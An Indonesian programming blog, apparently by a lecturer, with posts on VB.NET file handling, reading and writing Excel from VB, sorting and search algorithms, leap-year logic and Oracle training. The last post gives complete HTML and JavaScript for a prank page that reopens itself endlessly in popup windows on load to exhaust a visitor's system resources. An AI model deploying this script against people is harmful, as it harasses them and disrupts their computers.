Operasi File Sederhana dengan VB.NET

Ada kalanya kita perlu melakukan operasi file sederhana dalam program yang kita buat. Adapun yang saya maksud operasi file sederhana di sini adalah membuat file, memindahkan file, menyalin file, menghapus file dan memeriksa keberadaan file.

Jika kita menggunakan VB.Net, maka untuk melakukan operasi-operasi file sederhana tersebut cukup menggunakan beberapa method yang ada di class File, semuanya sangat mudah untuk digunakan dan sudah disediakan oleh VB.NET. Berikut ini adalah contoh penggunaan  method-method tersebut dan penjelasan singkatnya:

  1. Membuat file dengan method File.Create
    File.Create ("C:\Folder Saya\Tes.txt")

    Perintah di atas akan membuat sebuah file bernama “Tes.txt” di folder “Folder Saya” pada drive C.
    Jika file tersebut sudah ada maka file yang ada akan ditimpa dengan file baru, namun jika drive C atau folder “Folder Saya” tidak ada (tidak dapat diakses) maka akan tampil eror “The filename, directory name, or volume label syntax is incorrect.

  2. Memindahkan file dengan method File.Move
    File.Move ("C:\Folder Saya\Tes.txt","C:\Folder Baru\TesBaru.txt")

    Perintah di atas akan memindahkan file bernama “Tes.txt” di folder “Folder Saya” ke folder “Folder Baru” sekaligus mengubah nama file tersebut menjadi “TesBaru.txt”.
    Perhatikan bahwa file dipindahkan, artinya setelah operasi ini selesai, di folder “Folder Saya” tidak akan ada lagi file “Tes.txt”. Adapun perubahan nama file sifatnya opsional, jadi jika sekedar ingin memindahkan saja tanpa mengubah nama filenya juga bisa.
    Jika file “Tes.txt” di dalam folder “Folder Saya” tidak ditemukan maka akan tampil eror “Could not find file ‘C:\Folder Saya\tes.txt’.
    Jika salah satu folder tujuan dalam path tidak ditemukan (misalnya tidak ada folder yang bernama “Folder Baru”) maka akan tampil eror “Could not find a part of the path.
    Perhatikan pula bahwa jika di dalam folder “Folder Baru” sudah ada file bernama “Tes Baru.txt” maka file tersebut akan ditimpa dengan yang baru.

  3. Menyalin file dengan method File.Copy
    File.Copy ("C:\Folder Saya\Tes.txt","C:\Folder Baru\TesBaru.txt")

    Perintah di atas akan menyalin file bernama “Tes.txt” di folder “Folder Saya” menjadi sebuah file baru di folder “Folder Baru” sekaligus mengubah nama file tersebut menjadi “TesBaru.txt”.
    Perintah ini memiliki format yang sama dengan perintah untuk memindahkan file, pesan eror yang ditampilkan juga sama. Perbedaannya adalah setelah operasi ini selesai dilakukan maka di dalam folder “Folder Saya” masih ada file bernama “Tes.txt” karena file tersebut hanya disalin (di-copy), tidak dipindahkan.

  4. Menghapus file dengan method File.Delete
    File.Delete ("C:\Folder Saya\Tes.txt")

    Perintah ini akan menghapus file bernama “Tes.txt”, perhatikan bahwa folder “Folder Saya” tidak akan ikut terhapus, dan tenang saja, drive C anda juga tidak akan ter-format :lol:
    Jika file “Tes.txt” atau folder “Folder Saya” tidak ditemukan maka akan tampil eror “Could not find a part of the path ‘C:\Folder Saya\Tes.txt‘”

  5. Memeriksa keberadaan file dengan method File.Exist
    If File.Exist ("C:\Folder Saya\Tes.txt") Then
    MsgBox ("File ditemukan")
    Else
    MsgBox ("File tidak ditemukan")
    End If

    Perintah tersebut akan memerikasa apakah ada file bernama “Tes.txt” pada folder “Folder Saya” di drive C. Jika ada maka program akan menampilkan pesan “File ditemukan” namun jika tidak ada maka program akan menampikan pesan “File tidak ditemukan”.

Demikian, selamat mencoba dan semoga bermanfaat :)

Membaca dan Menulis File Teks dengan VB.NET

Untuk membaca dan menulis file teks (*.txt) dengan VB.NET dapat menggunakan beberapa cara, salah satunya adalah dengan menggunakan kelas StreamReader dan  kelas StreamWriter yang terdapat pada System.IO package.

Berikut ini adalah contoh function untuk membaca seluruh isi file teks dengan menggunakan method ReadToEnd pada class StreamReader:

Public Function BacaSeluruhFile(ByVal FullPath As String)
 Dim fileReader As StreamReader
 Dim content As String = ""
 Try
   fileReader = New StreamReader(FullPath)
   content = fileReader.ReadToEnd()
   fileReader.Close()
 Catch x As Exception
   MsgBox(x.Message)
 End Try
 Return content
End Function

Sedangkan yang berikut ini adalah contoh function untuk membaca isi file teks pada baris tertentu dengan menggunakan method ReadLine pada class StreamReader:

Public Function BacaBarisKe(ByVal FullPath As String, _
ByVal baris As Integer)
 Dim fileReader As StreamReader
 Dim content As String = ""
 Dim i As Integer
 Try
   fileReader = New StreamReader(FullPath)
   For i = 1 To baris
     content = fileReader.ReadLine()
   Next
   fileReader.Close()
 Catch x As Exception
   MsgBox(x.Message)
 End Try
 Return content
End Function

Adapun untuk menulis String ke dalam sebuah file teks dapat mengunakan method Write pada class StreamWriter seperti pada procedure dalam contoh berikut ini:

Public Sub WriteContent(ByVal FullPath As String, _
ByVal content As String)
 Dim fileWriter As StreamWriter
 Try
   fileWriter = New StreamWriter(FullPath)
   fileWriter.Write(content)
   fileWriter.Close()
 Catch x As Exception
   MsgBox(x.Message)
 End Try
End Sub

Yang penting, jangan lupa mengimport System.IO package dengan menuliskan:

Imports System.IO

pada bagian global declaration. Semoga bermanfaat :)

sumber gambar: http://the-arbazenas.blogspot.com

Express Yourself

Untuk tugas2 kuliah, proyek akhir, tugas akhir, thesis dan keperluan mengajar, biasanya saya menggunakan Oracle sebagai DBMS dan Visual Basic (VB) atau VB.NET sebagai bahasa pemrograman. Saya sudah berkenalan dengan 2 software ini sejak kuliah D3 dulu tahun 2004. Mulai Oracle 8i, Oracle 9i, lalu Oracle 10g, VB 6 dan VB.NET 2005 semuanya sudah pernah saya instal di laptop / PC saya (klo Oracle 11g saya gak sanggup nginstalnya, laptop saya pasti jadi lemot banget).

Nah, masalahnya mereka ini termasuk golongan proprietary software, alias harus bayar! Saya juga ga mau terus-terusan mbajak, takut kena hukum karma, hehehe…

Lanjut membaca

QuickSort

QuickSort adalah salah satu algoritma pengurutan (sorting algorithm) yang sangat populer karena efisiensinya. Walaupun sedikit lebih kompleks, namun algoritma QuickSort sangat cocok untuk mengurutkan data dalam sebuah array yang memiliki jumlah elemen yang sangat banyak (yang akan membutuhkan waktu yang jauh lebih lama jika diurutkan dengan algoritma pengurutan sederhana semacam BubbleSort)

Algoritma QuickSort diciptakan pertama kali pada tahun 1960 oleh  C.A.R. Hoare, seorang ilmuwan Computer Science berkebangsaan Inggris yang waktu itu masih seorang mahasiswa tamu di Moscow State University, Uni Soviet. Algoritma ini adalah algoritma rekursif yang bekerja dengan prinsip divide and conquer, adapun logikanya adalah sebagai berikut:

Lanjut membaca

Binary Search

Binary Search Algorithm atau Algoritma Pencarian Biner adalah salah satu algoritma pencarian yang performanya cukup baik, lebih baik daripada mencari data secara traversal.

Seperti algoritma pencarian lain, binary search juga memiliki keuntungan dan kerugian. Keuntungannya adalah proses pencarian relatif lebih cepat karena tidak semua elemen dalam array diperiksa. Adapun kerugiannya adalah binary search hanya efektif jika diterapkan terhadap array yang datanya sudah terurut. Jika elemen dalam array itu mengalami penambahan, pengubahan maupun penghapusan, maka array harus diurutkan lagi. Untuk mengurutkan data dengan cepat kita bisa menggunakan QuickSort.

Logika algoritma binary search cukup sederhana: Lanjut membaca

Training: Oracle Database 10g PL/SQL

Sejak tanggal 22 November 2010 sampai 26 November 2010 kemarin, saya dan beberapa rekan dosen lain (total ada 8 orang: saya sendiri, DRW, TRF, PRM, ELY, INE, SYN dan ART) mengikuti pelatihan dari Oracle University yang diselenggarakan oleh Telkom PDC Bandung. Pelatihan yang kami dapatkan ada 2 yaitu:

  1. Oracle Database 10g:  PL/SQL Fundamental (22-23 November 2010)
  2. Oracle Database 10g: Developing PL/SQL Program Units (24-26 November 2010)

Sebenarnya dua pelatihan tersebut dijadwalkan untuk diselenggarakan selama 3 minggu, namun atas permintaan kampus yang mengirim kami maka waktu pelatihan yang seharusnya 3 minggu itu dimampatkan menjadi 5 hari saja, 4 sesi per hari mulai jam 8 pagi sampai jam 16 sore.

Pelatihan yang kami ikuti ini materinya sangat padat. Ternyata materi mata kuliah DBMS yang biasanya saya ajarkan kepada mahasiswa dalam waktu 1 semester itu dibahas tuntas dan jauh lebih mendetail di pelatihan Oracle Database 10g:  PL/SQL Fundamental dalam waktu 2 hari training saja, plus banyak sekali materi-materi baru.

Materi pelatihan yang saya ikuti pun sangat menarik sekali. Saya dan rekan rekan dosen yang lain benar2 belajar banyak hal baru di sini (terutama saya sendiri sebagai dosen newbie yang masih miskin pengalaman). Selain memperdalam materi yang sudah biasa saya ajarkan di kelas, saya juga memperaktekkan secara hands on untuk beberapa hal baru berikut ini: Lanjut membaca

Function Tahun Kabisat yang Salah Kaprah

Sampai tadi pagi, jika saya ditanya: “gimana caranya menentukan sebuah tahun itu tahun kabisat atau bukan?” maka saya dengan yakin akan menjawab: “kalo angkanya habis dibagi empat berarti tahun kabisat, kalo tidak ya berarti bukan…”

Saya baru tahu bahwa jawaban saya salah. Faktanya tidak semua tahun yang angkanya habis dibagi 4 adalah tahun kabisat.

Lantas bagaimana menentukan apakah tahun itu adalah sebuah tahun kabisat atau bukan?

Memang sebagian besar tahun yang angkanya habis dibagi 4 adalah tahun kabisat, kecuali jika tahun itu habis dibagi 100 tapi tidak habis dibagi 400.

Sebagai contoh, tahun 1600 dan tahun 2000 adalah tahun kabisat, tapi tahun 1700, 1800 dan 1900 bukan tahun kabisat. Angka 1700, 1800 dan 1900 memang habis dibagi 4, tapi mereka bukan tahun kabisat karena 1700, 1800 dan 1900 habis dibagi 100 tapi tidak habis dibagi 400.

Lanjut membaca

Koneksi VB Excel

Sekedar berbagi ilmu, sapa tau ada yang butuh, di bawah ini ada sintak VB buat baca dan nulis data dari dan ke file Excel(.xls). Langsung aja kita mulai, ini dia step by step

1. Bikin project baru di VB
2. Buat referensi dari VB ke library untuk Excel, caranya dari menu Project–>References trus kasi tanda cek di Microsoft Excel xx.x (versinya, aku pake 12.0) Object Library, trus klik OK
3. Deklarasikan di variabel global (boleh pake module ato di form, tapi sebaiknya di module aja biar lebih gampang dikelola)

Public xlApp As Excel.Application  ' Excel Application Object
Public xlBook As Excel.Workbook    ' Excel Workbook Object

4. Nah, ini sintak Function untuk baca data dari file Excel:

Public Function GetExcel(xlFileName As String, xlWorksheet As String, _
xlCellName As String) As String
  On Error GoTo GetExcel_Err 'eror handler
  Dim strCellContents As String
  'inisiasi Excel App Object
  Set xlApp = CreateObject("Excel.Application")
  'inisiasi Excel Workbook Object.
  Set xlBook = xlApp.Workbooks.Open(xlFileName)
  'membaca isi cell pada spreadsheet
  strCellContents = xlBook.worksheets(xlWorksheet).range(xlCellName).Value
  'tutup spreadsheet
  xlBook.Close savechanges:=False
  xlApp.Quit
  Set xlApp = Nothing
  Set xlBook = Nothing
  GetExcel = strCellContents 'mengembalikan nilai
Exit Function

GetExcel_Err:
 MsgBox "GetExcel Error: " & Err.Number & "-" & Err.Description
 Resume Next
End Function 

5. Kalo yang di bawah ini sintak Procedure untuk nulis data ke file Excel:

Public Sub SetExcel(xlFileName As String, _
 xlWorksheet As String, _
 xlCellName As String, _
 xlCellContents As String)

 On Error GoTo SetExcel_Err 'eror handler

 ' inisiasi Excel App Object
 Set xlApp = CreateObject("Excel.Application")

 ' inisiasi Excel Workbook Object.
 Set xlBook = xlApp.Workbooks.Open(xlFileName)

 ' mengisi nilai tertentu ke cell tujuan
 xlBook.worksheets(xlWorksheet).range(xlCellName).Value = xlCellContents

 ' menyimpan file dan menutup spreadsheet
 xlBook.Save
 xlBook.Close savechanges:=False
 xlApp.Quit
 Set xlApp = Nothing
 Set xlBook = Nothing
 Exit Sub
SetExcel_Err:
 MsgBox "SetExcel Error: " & Err.Number & "-" & Err.Description
 Resume Next
End Sub

Function dan Procedure di atas boleh disimpan di module ataupun di form namun sebaiknya disimpan di module agar lebih mudah dikelola.

Note:

  • xlFilename = nama file excelnya, tipenya string, misal “F:Tugas KuliahData.xls”
  • xlWorksheet = nama sheet pada spreadsheet yg akan dibaca/ditulis datanya, tipenya string, misal “Sheet1″ atau “Pengeluaran”
  • xlCellName = nama cell yang akan dibaca/ditulis datanya, misal “A1″,”JW23″ dst
  • xlCellContent = data yang akan ditulis ke file Excel, tipenya string, misal “Wahyu”, “23″ dsb

Contoh Penggunaan:

'membaca file Excel dan meyimpan hasilnya ke Text1
Text1.text = GetExcel("F:\Tugas Kuliah\Data.xls","Sheet1","A1")
'membaca isi Text1 dan dsimpan ke file Excel
SetExcel "F:\Tugas Kuliah\Data.xls","Sheet1","A1",Text1.text

Any Question so far? Semoga bermanfaat…

Halaman PopUp Jail

Coba lihat screen capture komputer saya ini:

 

 

banjir popup window

 

Gak kebayang kan kalo semua window itu menuhin layar dan bikin kita kehabisan resource plus kehilangan kesabaran?
Untungnya ada fasilitas dari browser untuk memblokir popup window dan javascript. Jadi kalo ada halaman web yang iseng seperti di atas, kita sedikit terlindungi, kecuali yang tidak mengaktifkan fiture tersebut (Di Mozilla masuk ke menu Tools –> Options –> Content –> Uncheck ‘Block PopUp Windows’, sedangkan di IE ada di menu Tools –> PopUp Blocker –> Turn Off PopUp Blocker)

Berikut ini adalah source file html sederhana yang bisa bikin kita (atau orang lain yang bikin kita kesel) kehabisan resource sekaligus kehilangan kesabaran:

<HTML>
<HEAD>
<SCRIPT LANGUAGE=”JavaScript”>

<!– Begin
function popUp(URL) {
day = new Date();
id = day.getTime();
eval(“page” + id + ” = window.open(URL, ‘” + id + “‘,

‘toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=10

0,height=75′);”);
}
</script>
</HEAD>

<BODY onLoad=”javascript:popUp(‘tes.html’)”>
Halaman iseng, muncul lagi!
</BODY>

</HTML>

script html di atas tinggal disave dengan nama “tes.html”. Bagian script yang di-bold adalah bagian yang membuat file jail itu meload dirinya sendiri dalam sebuah popup window setiap kali file diload ke browser. Dan voila! efeknya jadi rekursif kan? Alhasil ada yang kebanjiran popup window, kehabisan resource dan kehilangan kesabaran, hehehe…

Lagi-lagi, saya berpesan, info ini jangan disalah gunakan ya :)